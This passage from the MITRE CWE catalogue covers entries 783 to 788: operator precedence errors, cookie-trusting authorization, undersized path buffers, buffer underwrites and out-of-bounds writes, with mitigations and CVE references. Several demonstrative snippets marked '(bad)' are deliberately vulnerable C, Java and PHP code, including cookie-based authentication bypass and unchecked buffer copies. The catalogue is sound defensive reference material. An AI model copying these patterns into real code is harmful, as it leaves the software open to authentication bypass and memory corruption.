| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Operating_System : Unix (Prevalence = Undetermined)

Operating_System : Windows (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Integrity Availability Confidentiality | Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data. | |

Potential Mitigations

Phase: Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-2208 | Operating system does not enforce permissions on an IOCTL that can be used to modify network settings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2208 |
| CVE-2008-3831 | Device driver does not restrict ioctl calls to its direct rendering manager. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3831 |
| CVE-2008-3525 | ioctl does not check for a required capability before processing certain requests. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3525 |
| CVE-2008-0322 | Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0322 |
| CVE-2007-4277 | Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4277 |
| CVE-2007-1400 | Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1400 |

| Reference | Description |
|----------------------|---|
| CVE-2006-4926 | Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4926 |
| CVE-1999-0728 | Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0728 |

Notes

Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

CWE-783: Operator Precedence Logic Error

| | |
|---------------------------|-----------------------|
| Weakness ID : 783 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The program uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 670 | Always-Incorrect Control Flow Implementation | 1345 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------------|------|
| MemberOf |  | 438 | Behavioral Problems | 2043 |
| MemberOf |  | 569 | Expression Issues | 2046 |

Applicable Platforms

Language : C (Prevalence = Rarely)

Language : C++ (Prevalence = Rarely)

Language : Language-Independent (Prevalence = Rarely)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Varies by Context | |
| Integrity | Unexpected State | |
| Availability | <i>The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.</i> | |

Potential Mitigations

Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

Demonstrative Examples

Example 1:

In the following example, the method `validateUser` makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

Example Language: C

(bad)

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
    }
    return isUser;
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator `"=="` has a higher precedence than the assignment operator `"="`, the comparison operator will be evaluated first and if the method returns `FAIL` then the comparison will be true, the return variable will be set to true and `SUCCESS` will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C

(good)

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
    ...
}
```

Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java

(bad)

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {  
    double returnROI = 0.0;  
    // calculate return on investment  
    returnROI = currentValue - initialInvestment / initialInvestment;  
    return returnROI;  
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java

(good)

```
...  
returnROI = (currentValue - initialInvestment) / initialInvestment;  
...
```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2008-2516 | Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2516 |
| CVE-2008-0599 | Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0599 |
| CVE-2001-1155 | Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155 |

MemberOf Relationships

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID : 784

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 807 | Reliance on Untrusted Inputs in a Security Decision | 1553 |
| ChildOf |  | 565 | Reliance on Cookies without Validation and Integrity Checking | 1173 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------|------|
| MemberOf |  | 1012 | Cross Cutting | 2143 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Bypass Protection Mechanism Gain Privileges or Assume Identity <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.</i> | |

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java

(bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(bad)

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the `AuthenticateUser()` check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the `$auth` variable is 1, and the `AuthenticateUser()` check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2009-1549 | Attacker can bypass authentication by setting a cookie to a specific value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549 |
| CVE-2009-1619 | Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619 |
| CVE-2009-0864 | Content management system allows admin privileges by setting a "login" cookie to "OK." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864 |
| CVE-2008-5784 | e-dating application allows admin privileges by setting the admin cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784 |
| CVE-2008-6291 | Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6291 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 1354 | OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures | 1344 | 2211 |

Notes

Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID : 785

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 120 | Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') | 285 |
| ChildOf |  | 676 | Use of Potentially Dangerous Function | 1356 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Integrity | Modify Memory | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | DoS: Crash, Exit, or Restart | |

Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Demonstrative Examples

Example 1:

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C (bad)

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Affected Resources

- Memory
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--|-----|------|
| MemberOf | C | 972 | SFP Secondary Cluster: Faulty String Expansion | 888 | 2122 |

Notes

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID : 786

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |
| ParentOf |  | 124 | Buffer Underwrite ('Buffer Underflow') | 304 |
| ParentOf |  | 127 | Buffer Under-read | 314 |

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1218 | Memory Buffer Errors | 2195 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i> | |

| Scope | Impact | Likelihood |
|---------------------------|--|------------|
| Integrity Availability | Modify Memory DoS: Crash, Exit, or Restart | |
| | <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i> | |
| Integrity | Modify Memory Execute Unauthorized Code or Commands | |
| | <i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.</i> | |

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C (bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C (bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C

(bad)

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-2227 | Unchecked length of SSLv2 challenge value leads to buffer underflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227 |
| CVE-2007-4580 | Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580 |
| CVE-2007-1584 | Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1584 |
| CVE-2007-0886 | Buffer underflow resultant from encoded data that triggers an integer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886 |
| CVE-2006-6171 | Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171 |
| CVE-2006-4024 | Negative value is used in a memcpy() operation, leading to buffer underflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024 |
| CVE-2004-2620 | Buffer underflow due to mishandled special characters https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|

| CERT C Secure Coding | ARR30-C | CWE More Specific | Do not form or use out-of-bounds pointers or array subscripts |

CWE-787: Out-of-bounds Write

Weakness ID : 787

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software writes data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| MemberOf |  | 1218 | Memory Buffer Errors | 2195 |

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Assembly (Prevalence = Undetermined)

Alternate Terms

Memory Corruption : The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---------------------------------------|------------|
| Integrity | Modify Memory | |
| Availability | DoS: Crash, Exit, or Restart | |
| | Execute Unauthorized Code or Commands | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

Example Language: C

(bad)

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to `id_sequence[3]` is out of bounds.

Example 2:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

Example Language: C

(bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 7:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C

(bad)

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

CWE-788: Access of Memory Location After End of Buffer

Weakness ID : 788

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------|---|------------|
